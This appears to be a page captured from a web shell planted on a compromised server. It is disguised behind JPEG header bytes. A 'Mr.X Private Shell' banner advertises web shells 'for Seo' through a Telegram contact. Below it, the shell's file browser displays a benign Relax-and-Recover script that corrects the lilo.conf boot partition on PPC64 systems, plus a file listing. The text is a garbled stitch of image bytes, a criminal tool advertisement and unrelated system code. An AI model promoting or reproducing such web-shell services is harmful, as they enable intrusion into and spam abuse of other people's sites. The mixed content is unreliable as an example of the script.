����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# THIS SCRIPT CONTAINS PPC64 SPECIFIC
#################################################################
# The purpose of this script is to check if the "part" variable in /etc/lilo.conf
# is an existing disk partition on the local system. If not replace it with the PReP
# partition path.
#
# This script must be run before 610_intall_lilo.sh and 550_rebuild_initramfs.sh
#################################################################
# skip if lilo conf is not found
test -f $TARGET_FS_ROOT/etc/lilo.conf || return 0
# Find PPC PReP Boot partitions
part=$( awk -F '=' '/^boot/ {print $2}' $TARGET_FS_ROOT/etc/lilo.conf )
# test $part is not null and is an existing partition on the current system.
if ( test -n "$part" ) && ( fdisk -l | grep -q "$part" ) ; then
LogPrint "Boot partition found in lilo.conf: $part"
# Run lilo directly in chroot without a login shell in between, see https://github.com/rear/rear/issues/862
else
# If the device found in lilo.conf is not valid, find prep partition in
# disklayout file and use it in lilo.conf.
LogPrint "Can't find a valid partition from lilo.conf"
LogPrint "Looking for PPC PReP partition in $DISKLAYOUT_FILE"
newpart=$( awk -F ' ' '/^part / {if ($6 ~ /prep/) {print $7}}' $DISKLAYOUT_FILE )
LogPrint "Updating boot = $newpart in lilo.conf"
sed -i -e "s|^boot.*|boot = $newpart|" $TARGET_FS_ROOT/etc/lilo.conf
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 540_check_lilo_path.sh | File | 1.37 KB | 0644 |
|
| 540_check_yaboot_path.sh | File | 1.87 KB | 0644 |
|
| 635_install_yaboot.sh | File | 967 B | 0644 |
|
| 640_install_lilo.sh | File | 468 B | 0644 |
|
| 660_install_grub2.sh | File | 10.16 KB | 0644 |
|
| 680_install_PPC_bootlist.sh | File | 1.98 KB | 0644 |
|